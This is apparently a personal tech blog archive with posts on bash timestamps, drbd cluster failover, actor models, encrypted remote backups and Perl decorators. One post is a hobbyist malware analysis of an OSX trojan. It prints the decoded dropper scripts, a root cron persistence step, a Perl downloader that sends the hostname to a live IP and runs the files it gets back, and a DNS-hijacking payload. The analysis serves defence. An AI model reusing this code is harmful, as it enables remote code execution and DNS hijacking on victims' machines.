Timestamps in bash

February 16th, 2010

This is common knowledge but I found it so useful that I have to make sure it spreads even more :)

You can make bash register timestamps in its history:


export HISTTIMEFORMAT='[%F %T] '


And you can even alter the bash prompt to show timestamps as well, using the variable PROMPT_COMMAND:


export PROMPT_COMMAND="echo -n \[\$(date +%H:%M:%S)\]\ "


Voila! No more problem trying to figure out when things happened and how long time they took.

Of course, those 2 lines should be added to your ~/.bash_profile or equivalent for persistence.

Avoiding splitbrain in a heartbeat/drbd setup

August 26th, 2009

What comes now is the description of a hack I did to avoid the occurrence of splitbrain in a 2 node linux cluster running heartbeat and drbd for disk replication.

I am not going to detail how to setup heartbeat and drbd and will assume that you are already familiar enough with this stuff.

To the matter at heart: in some circumstances, in a standard heartbeat/drdb setup, there still remains some situations that will result in a splitbrain.

Let's take an example: two nodes, N0 and N1. N0 is primary, N1 is secondary. Both have redundant heartbeat links and at least one dedicated drbd replication link. Let's consider the (highly) hypothetical case when the drbd link goes down, soon followed by a power outage for N0. What will happen in a standard heartbeat/drbd setup is that when the drbd link goes down, the drbd daemon will set the local ressources on both nodes in state 'cs:WFConnection' (Waiting For Connection) and mark the peer data as outdated. Then when N0 disappears due to the power outage, heartbeat on N1 will takeover ressources and become the primary node.

Here is the glitch: N0 may have made changes on its local disk between the time the drbd link went down and the power outage. These changes were not replicated on N1. And now N1 is running as primary with outdated data.

Not Good.

What we may want is to forbid a node to become primary in case its drbd resources are not in a connected and up-to-date state. This would avoid most cases of data corruption but also implies longer downtime.

As far as I can tell, there is no configuration parameter to do that in heartbeat/drbd. But we can work around that.

Upon trying to become primary, heartbeat starts its resources listed in the file /etc/ha.d/haresources. In a heartbeat/drbd setup, one of those resources is drbddisk which is just a script located in /etc/ha.d/resources.d/. If this script exits with an error code, heartbeat will give up trying to takeover resources in the cluster. Beware that this might lead you to situations where both nodes are secondary.

Here is are a few lines to add to drbddisk in order to block takeover when the local resource is not in a safe state:

case "$CMD" in
   start)
     # forbid to become primary if ressource is not clean
     DRBDSTATEOK=`cat /proc/drbd | grep ' cs:Connected ' | grep ' ds:UpToDate/' | wc -l`
     if [ $DRBDSTATEOK -ne 1 ]; then
       echo >&2 "drbd is not in Connected/UpToDate state. refusing to start resource"
       exit 1
     fi

NOTE: this patch works only if you have one and only one drbd resource.
WARNING: do not modify those scripts if you don't exactly know what you are doing...

This done, there are a few more things you may need:
- if you are using heartbeat in combination with ipfail, you might want drbddisk to forbid the node to become primary if it can't ping a given host (for example the gateway). That could look like:

PINGCOUNT=`ping -c 4 $PINGHOST | grep -i "destination host unreachable" | wc -l`
if [ $PINGCOUNT == 4 ]; then
   # we lost all 4 packets. the network is down and the other node
   # might still be primary. don't come up.
   echo >&2 "cannot ping $PINGHOST. refusing to start resource"
   exit 1
fi

- if you are using a stonith device, you may want to modify the stonith script to forbid stonithing the peer if the local resources are not in connected/up-to-date state. There might indeed be a chance that the peer node still is functional while the local node definitely is not.

Born to be root

August 21st, 2009

I like my life right now.
I recently changed job and started working for a young IT firm, as a software developer. But before developing some code you need servers to run it on. So for the past two months I have become a sysadmin.

BORN TO BE ROOOOOT. Yeh yeh yeh.

It's like being a kid in a candy shop. I get plenty of monster servers to play with, setting them up in high-availability clusters, reading tons of doc, playing around with heartbeat, drbd, nagios, system setups and the like. And once I am done plugging everything in the server hall, I size a huge hammer with spikes and I turn violent on them. I draw plugs, cut the power, unplug wires, remove hard drives and power supplies out of living servers. And I watch their struggle for survival. I split their brains and watch how they fight for control. That's really a lot of fun. And extremely instructive for the developer I am.

So very soon I'll have a 21st century clustered network to run my code on. How cool is that!

From good old batch systems to actor based parallelism

March 27th, 2009

I was recently reading on JavaWorld a serie of 2 articles discussing the advantages of actor-based parallelism over traditional approaches involving shared objects and locking mechanisms. Those articles can be found here: part1, part2.

The first article gives a very good introduction of how actor-based parallelism works so I won't spoil the web with a worse introduction of my own brew. Let's just remind us the key properties of the actor model: light-weight threads running in parallel, sharing nothing, but communicating with each other by sending each other immutable messages. Each actor has an input queue of messages to process, called an inbox. That's it. No shared memory, no deadlock-prone and brain hammering IPC mechanisms.

Two things struck me with the actor model.

It's beautiful. The actor model works and is dead simple to use. It only requires to think differently. To me, that is a clear sign of a beautiful design.

The other thing that stroke me is the similarity between some designs used in older batch systems and the actor model.

But let me tell you first a bit of my own history: I have been working quite many years now with a large financial system that was designed and built as a batch system. It is made of a constellation of small and relatively simple programs that communicate with each other by dropping files into each other's inbox. An inbox is just a directory with a specific location. All those programs run one after the other in a specific order and according to a daily schedule. And this schedule is repeated day after day. What we get in the end is like a big state machine that slowly but surely shuffles all of its tickets through various business flows.

This way of designing batch systems is sometimes called 'the inbox model'. It is quite standard and has been used for a long time. And it works very well.

What stroke me is how close this design is to the actor model. Instead of light-weight threads we have stand-alone processes. Instead of messages we have files, but those files are immutable in the same way as the messages passed between actors: they are not modified between the emitter and the receiver. Those stand-alone programs have inboxes very alike those of actors. In the end, the main difference is that the stand-alone processes in a batch system run sequentially while actors run in parallel. Which is where you may think:

"Wait a minute! If the processes in a batch system already implement the same message passing mechanism as actors, why couldn't they be run in parallel?"

And the answer is: they can. Assuming no other information passing mechanism is in the way, you could take such a batch system and make it run in parallel with relatively little modification. This insight gave me a feeling of awe and respect toward the inventors of the inbox model.

Of course, real life is not that simple. Most of the time, the processes of a batch system also communicate with each other via some database. In a way, a shared database realm is just like a shared memory and we are therefore back in the headache of shared-state parallelism. Too bad.

sshfs + encfs + rsync = encrypted remote backups

March 8th, 2009

I am a backup freak. My home setup encompasses a file server that has 2 disks mirrored against each other using RAID1 and a second server that rsyncs its content against the main file server every night. But having 3 local copies of my data is not enough. What if a nuke fell over Stockholm, destroyed my home but left me alive? Where would I find a backup of my cvs repository then? (assuming I would care)

So I needed one more backup. Abroad.

A friend provided me with a ssh account on a server with a fat disk. But what if thieves grabbed my friend's drive? I would not want them to play with my cvs repository! So I needed the remote backup to be encrypted. An other friend came up with a brilliant suggestion: use an encrypted filesystem located on the remote host but mounted on my local server. Which sounds complicated at first but appeared to be really trivial thanks to two things: sshfs and encfs.

Sshfs lets you mount a remote file system using just an usual ssh connection, making it look like a part of the local file system. Encfs creates an encrypted filesystem on top of an other filesystem. Both run in userspace under linux.

The trick is to run encfs locally on top of the remote filesystem mounted locally with sshfs.

The following commands show how to do that on a debian:

// let's assume that I am user foo
// with uid=1000 and gid=1000
$ id
uid=1000(foo) gid=1000(foo) groups=...

// start by installing sshfs and encfs (as root)
# apt-get install sshfs
# apt-get install encfs

// configure the fuse module needed by encfs and sshfs
# modprobe -v fuse
# echo fuse >> /etc/modules
# usermod -a -G fuse foo

// as user foo, mount your remote home using sshfs:
$ mkdir ~/remotefs-encrypted
$ sshfs -o workaround=rename,uid=1000,gid=1000 \ foo@some.other.place.net:/home/foo/ ~/remotefs-encrypted
(enter password here or use shared keys)

// now initialize an encrypted filesystem located
// in foo@some.other.place.net:/home/foo/
$ mkdir ~/remotefs-clear
$ encfs ~/remotefs-encrypted ~/remotefs-clear
(the first time you will have to answer a few setup questions and provide a password)

// rsync whatever you want
$ rsync -avz --del ~/important-stuff ~/remotefs-clear

// then unmount
$ fusermount -u ~/remotefs-clear
$ fusermount -u ~/remotefs-encrypted

// note that you can script all this, even mounting
// the encrypted filesystem:
$ echo "SECRETPASSWORD" | encfs -S ~/remotefs-encrypted ~/remotefs-clear



UPDATE:

Well, after a few weeks of real-life trial it shows that this method is not stable enough. I keep stumbling on various bugs with both sshfs and encfs. At first, I had to use 'rsync --checksum' because encfs seemed to mess up timestamps. Later, it appeared sshfs causes IO errors when under heavy load from rsync (see http://osdir.com/ml/file-systems.fuse.sshfs/2006-10/msg00017.html). Conclusion: I am giving up this method for the time being. Hopefully this will get stable enough in some near future.

My first OSX trojan!!

January 23rd, 2009

Oh My God! I just stumbled upon my first MAC OSX trojan! And mostly written in shell script! I am just amazed.

But let me tell you the full story. I was googling to find a specific ebook for free and landed on this page. The page told me to enter a passcode and download what happened to be an OSX installer file with the *.dmg extension. At this point it already smelled fishy. I am supposed to be getting an ebook and I should instead install a program I know nothing of?

What follows is a small tale of late-night reverse engineering (Hail to Fravia+!), so fasten your seatbelts!

How to reverse an osx installer file without running it? I started by mounting the dmg and it contained a file called "install.pkg". I opened the pkg file with PackageMaker and started looking around. Nothing interesting except that the installation requires root privilege (Another red alarm firing in my head). Next I opened a shell and did:

$ cd /Volumes/install.pkg/install.pkg/Contents/Ressources

This directory contains 2 scripts that are to be executed before and after installation. In our case, both scripts are identical so I looked at the first one, "Resources/preinstall". I am copying the script as is below (without the uuencoded part):

#!/bin/sh
if [ $# != 1 ]; then type=0; else type=1; fi && tail -36 $0 | tail -r | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7014/' | sed 's/gnu/'$type'/' >`uname -p` && sh `uname -p` && rm `uname -p` && exit
end
`
uuencoded stuff here
begin 777 you-are-lucky

See the "you-are-lucky" at the end? This stinks.

What this script does is to decode its uuencoded body, replace in it a few keywords with others and run the resulting script. The hidden script we would end up running is this one:

IPADDR="94.247.2.109"
EVIL="AdobeFlash"
path="/Library/Internet Plug-Ins"
exist=`crontab -l|grep $EVIL`
if [ "$exist" == "" ]; then
echo "* */5 * * * \"$path/$EVIL\" vx 1>/dev/null 2>&1" > cron.inst
crontab cron.inst
rm cron.inst
fi
tail -21 $0 | tail -r | uudecode -o /dev/stdout | sed 's/7777/7014/' | sed 's/typeofrun/0/' | sed 's/ipaddr/'$IPADDR'/' | perl && exit
end
`
more uuencoded stuff here
begin 666 intego

This second script sets up a cron entry to periodically run what looks like a flash plugin with the argument "vx". Remember that this is supposed to run with root privileges... Then again it decodes and runs an uuencoded script included in its body. This third hidden script is written in Perl and looks like:

#!/usr/bin/perl
use IO::Socket;
my $ip="server ip",$answer="a delimiter";
my $runtype=0;

sub trim($)
{
   my $string = shift;
   $string =~ s/\r//;
   $string =~ s/\n//;
   return $string;
}

my $socket=IO::Socket::INET->new(PeerAddr=>"$ip",PeerPort=>"80",Proto=>"tcp") or return;
print $socket "GET /cgi-bin/generator.pl HTTP/1.0\r\nUser-Agent: ".trim(`uname -p`).";$runtype;7014;".trim(`hostname`).";\r\n\r\n";

while(<$socket>){ $answer.=$_;}
close($socket);

my $data=substr($answer,index($answer,"\r\n\r\n")+4);
if($answer=~/Time: (.*)\r\n/)
{
   my $cpos=0,@pos=split(/ /,$1);
   foreach(@pos)
   {
     my $file="/tmp/".$_;

     open(FILE,">".$file);
     print FILE substr($data,$cpos,$_);
     close(FILE);

     chmod 0755, $file;
     system($file);

     $cpos+=$_;
   }
}

What the code above does is to download some stuff via HTTP from "94.247.2.109/cgi-bin/generator.pl", split the reply into parts and execute them in turn. To get the reply it sends a tailored GET query looking like:

GET /cgi-bin/generator.pl HTTP/1.0
User-Agent: i386;0;7014;myhostname

This GET contains info about what OS I am running, on which architecture, and my laptop's hostname! At this point I should mention that I am running an x86 macbook...

At this point, I had 2 tracks to follow: check what the "AdobeFlash" program running from cron actually does, and download and analyze whatever instructions are broadcasted by "94.247.2.109/cgi-bin/generator.pl".

Let's start with the AdobeFlash file. I had no such file on my macbook so I had to assume it was supposed to get installed when running the initial dmg file. Indeed it was. A further look at "/Volumes/install.pkg/install.pkg/Contents" shows an archive file called "Archive.pax.gz". I gunzip-ed it and unpax-ed it and here are the files it contained:

$ pax -rv -f Archive.pax
./AdobeFlash
./Mozillaplug.plugin
./Mozillaplug.plugin/Contents
./Mozillaplug.plugin/Contents/Info.plist
./Mozillaplug.plugin/Contents/MacOS
./Mozillaplug.plugin/Contents/MacOS/VerifiedDownloadPlugin
./Mozillaplug.plugin/Contents/Resources
./Mozillaplug.plugin/Contents/Resources/VerifiedDownloadPlugin.rsrc
./Mozillaplug.plugin/Contents/version.plist
pax: cpio vol 1, 10 files, 30208 bytes read, 0 bytes written.

The files "VerifiedDownloadPlugin" and "VerifiedDownloadPlugin.src" contain the string "RoveSupa" at several places. I googled on it and got some links warning me for an OSX trojan. That tells me I am not the first one to stumble upon that little beast then... But let's reap what we can from its steaming dead body anyway.

The file "AdobeFlash" has little to do with Adobe Flash and contains the exact same uuencoded shell script as in the file "preinstall" that we looked at first. The only difference is that cron will run this script with one argument, namely the keyword "vx". This gives a new meaning to the line:

#!/bin/sh
if [ $# != 1 ]; then type=0; else type=1; fi && tail -36 $0 | tail -r | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7014/' | sed 's/gnu/'$type'/' >`uname -p` &&
sh `uname -p` && rm `uname -p` && exit
end

Now, "$#" is actually 1, hence "type" is set to 1 and not 0, and we end up sending a slightly different GET query to the HTTP server we encountered earlier, namely:

GET /cgi-bin/generator.pl HTTP/1.0
User-Agent: i386;1;7014;myhostname


Let's make a pause here and sum up our findings. What we have so far is a generic trojan that can be hidden inside any osx installer file. This trojan runs as root on your computer and executes whatever gets published by the CGI script at "94.247.2.109/cgi-bin/generator.pl". Notice the simplicity and efficiency of the mechanism: it is space efficient (a few lines of shell and perl script), it is reasonably obfuscated (uuencoded), it gets its active payload from a web site hence only relying on a working internet connection and on HTTP, a protocol seldom blocked by firewalls. It does not even matter if you are not online when installing the trojan since sooner or later cron will run AdobeFlash while you are connected and whatever payload 94.247.2.109 publishes at the time will be executed with root privileges on your computer.

So in other word, your computer has just been turned into a bot, a zombie, and 94.247.2.109 is your new master. Are you pissed off? Me too.

Furthermore, this mechanism informs the CGI script what operating system and hardware you have and whether you are currently installing the trojan (type=0) or whether it is already installed (type=1). With this mechanism, the master can push up whatever it wants to your computer, including improved versions of the trojans, new trojans, spywares or custom commands.

Let's move on now and look at whatever the master had for me at this time. I tried sending the GET query we identified earlier to 94.247.2.109 with netcat but only got back some advice on what to do with male genitals. So I altered the perl code and ran it instead. This time I got a reasonable answer:

HTTP/1.1 200 OK
Date: Fri, 23 Jan 2009 21:23:25 GMT
Server: Apache/2.0.63 (FreeBSD) PHP/5.2.6 with Suhosin-Patch
Time: 686
Content-Length: 686
Connection: close
Content-Type: text/html

#!/bin/sh
tail -11 $0 | uudecode -o /dev/stdout | sed 's/TEERTS/'`echo ml.pll.oop.oin | tr iopjklbnmv 0123456789`'/' | sed 's/CIGAM/'`echo ml.pll.oop.oij | tr iopjklbnmv 0123456789`'/'| sh && rm $0 && exit
begin 777 mac
some more uuencoded stuff here
`
end

Strangely enough, I got the same reply whether the "type" field of the user-agent line was set to 0 or 1. I assume this specific feature of the trojan's protocol was not in use at the time.

Remember that the perl script that sends the GET query was also designed to extract the shell code from the body of the HTTP reply and execute it. The body we got contains the now familiar pattern of shell code executing an uuencoded payload. Once decoded, the payload looked like:

#!/bin/sh
path="/Library/Internet Plug-Ins"

VX1="85.255.112.195"
VX2="85.255.112.231"

PSID=$( (/usr/sbin/scutil | grep PrimaryService | sed -e 's/.*PrimaryService : //')<< EOF
open
get State:/Network/Global/IPv4
d.show
quit
EOF
)

/usr/sbin/scutil << EOF
open
d.init
d.add ServerAddresses * $VX1 $VX2
set State:/Network/Service/$PSID/DNS
quit
EOF

The first part of this code uses the OSX tool scutil to get a handle for my laptop's primary network interface and the second part sets up the 2 IP addresses listed above as my primary DNS servers. Doesn't sound so terrible considering all the possibilities.

At this point I was starting to feel a rather pleasurable mix of anger and excitement. According to geobytes.com, the IP addresses for the DNS servers are located in Los Gatos, CA, USA but whois links them to an ukrainian company. A traceroute on the IP of the HTTP server (94.247.2.109) indicates it may be located in Latvia, which whois seems to confirm. I couldn't resist and did a short portscan at 2 of the addresses but found nothing unexpected.

I could follow the track a while longer, but it's getting late. I suspect the fake DNS servers would redirect me to some creepy place full of naked ladies, ending up with me installing more junk on my laptop. Just a guess though.

What can be done against this trojan? Block those IPs, but they are probably bots themselves and the attacker will probably move the master and DNS servers to new hosts. Run a network based intrusion detection system like snort and have it warn on HTTP replies whose body starts with "#!/bin/sh". But of course, a few simple alterations at the trojan would circumvent this protection. Run an host based intrusion detection tool that will know of this trojan's specific signature and warn for weird looking cron jobs running as root. Well, in the end, only user awareness may help: do not install code you don't trust.

Darwinian software development

January 21st, 2009

Sitting in a warm bath this morning, enjoying the peace before the storm, I came to realize a striking thing: software development goes very much like the law of the jungle. To survive in a changing ecosystem, software either mutates or is replaced. It has a darwinian growth.

Consider the ecosystem of a program as made of its running environment: software, hardware and fleshware, both users and developers, the features it must implement to fill its function, the extra features that make it more likable than other similar programs and the features it will have to implement in the future to meet emerging user needs.

Like a real ecosystem, a software ecosystem can remain unchanged for years. The business logic is well defined and users don't need to change the way they do whatever their business is. The volume of work remains constant. The developer in charge of maintenance gets acne upon hearing the word "refactoring". And so on. No change in the ecosystem allows for no change in the software. And that's fine.

But more often than not, software ecosystems are highly changing environments. Developers come and go and have very different opinions on how things should be implemented. The business evolves and requires new ways of working and thinking, and a brand new software logic. The volume of data to process grows and grows. A generation of new developers comes around and trashes the code beyond recognition (wow, we even have the equivalent of real-life cancer in this ecosystem!). All these natural events have one of two consequences on a program: either the program evolves or it dies. Much like a living organism :)

Ok, program evolution does not (hopefully) come from random code mutation. A developer is normally to blame. But this kind of controlled mutation is just a variant of the darwinian one, except more purposeful and efficient. In the end, the ecosystem still decides whether to keep the program alive or let it rest in peace. And how many time haven't we seen developers struggling to keep some code alive only to be beaten out by a competing program that just does the right things better. Programs rise and fall. Developers move on.

Considering this setup, no wonder that programs show signs of organic growth! Code evolve under the same darwinian rules as all things alive!

And developers are to programs what random mutations are to living beings. Great. A real kick to my self-esteem.

Welcoming Python::Decorator

November 5th, 2008

A few days ago, I wrote about some ideas on how to adapt Python decorators to Perl.

Well, the ideas grew and soon enough I couldn't keep them in my head anymore so it became a module: Python::Decorator, now available on CPAN. This module let's you write Python style decorators in Perl, so that the following Perl code for example would compile and do what you expect:


use Python::Decorator;

# memoize incr's results, print debug info upon
# calling incr and check that the first argument
# is an integer:

@memoize
@debug("incr")
@validate("int")
sub incr {
   return $_[0]+1;
}


Of course, Python::Decorator is just a proof of concept. It shows that compile-time function composition (aka macros) can be done in Perl, at least in some restricted way. If such a feature makes it into the Perl core, it will have to have at least a more perlish syntax.

Still, Python::Decorator is fun for at least one more reason: it uses PPI, the Perl parsing module, to analyze and manipulate the source code of Perl programs. Now, that is cool and a lot like macros :)

The source holds the truth

November 4th, 2008

The source holds the truth.

That's it, really. In the developer's world, there is no need to add anything else. No need for metaphor-filled rhetorics, no need for demagogy or opinion surveys, no "politics". Your code is either right or wrong. It's slower or faster than this other implementation. It contains that bug or not. Everything can be proved.

What a relief to be able at any time to seek refuge in this universe of selfless logic, to run away from petty personal fights and let your soul rest in the clear knowledge of your own skills and limits.

Python decorators in Perl

October 30th, 2008

I have been playing around with Python lately and this evening I stumbled upon this blog entry in which Bruce Eckel gives an excellent introduction of a Python feature called a 'decorator'. Decorators in Python are very similar to LISP macros so, of course, I got interested :)

Simply put, decorators are a way to compose functions at compile time. In the rest of this post, I will assume you know what a Python decorator is, and if you don't, just go and and read the aforementioned blog.

Bruce Eckel gives the following example of a Python decorator that wraps a function into an other function that prints a short message upon entering and exiting the original function. In Python, it looks like this:

class entryExit(object):

      def __init__(self, f):
            self.f = f

      def __call__(self):
           print "Entering", self.f.__name__
           self.f()
           print "Exited", self.f.__name__

@entryExit
def func1():
      print "inside func1()"

@entryExit
def func2():
      print "inside func2()"

func1()
func2()

Now, being a Perl addict to the bone, I couldn't help meditating on how to get a similar feature in Perl. And it's not so hard, really. Wrapping a sub within an other one can be done with a closure and some symbol table hacking. Note that I kind of ignore the issue of identifying the function's name, which is kind of not relevant to the discussion. Here is a similar implementation in Perl:

sub entryExit {
      my ($f,$name) = @_;
      return sub {
            print "Entering $name\n";
            &$f();
            print "Exited $name\n";
      };
}

sub func1 {
      print "inside func1()\n";
}
# we can replace func1 with the closure afterwards
*{__PACKAGE__."::func1"} = entryExit(\&func1,"func1");

# or we could replace "sub func2 {" with the following:
*{__PACKAGE__."::func2"} = entryExit(sub {
      print "inside func2()\n";
},"func2");

func1();
func2();

Clearly, none of those 2 methods is as smooth as the Python syntax. But with a bit of fantasy I am pretty sure we could write a Perl source filter that let us write:

@my_decorator
sub func {
     # do stuff
}

and replace it with:

*{__PACKAGE__."::func"} = my_decorator(sub {
     # do stuff
});

As a matter of fact, I know this can be done since I have done it partially in a prototype of a module that would have been called 'Filter::WrapSub' and can be found within the sub-contract project on sourceforge. This proof-of-concept module is basically a source filter that uses PPI to *understand* the source code of the calling file and identify the beginning and end of subroutine declarations. The big drawback of this method is that it is SLOW. really slow.

But nonetheless, it can be done. Supporting decorator arguments wouldn't be a problem either. The real limitation compared with Python is the absence of a clean object model in Perl which makes it meaningless to implement the equivalent of Python's decorator classes in Perl...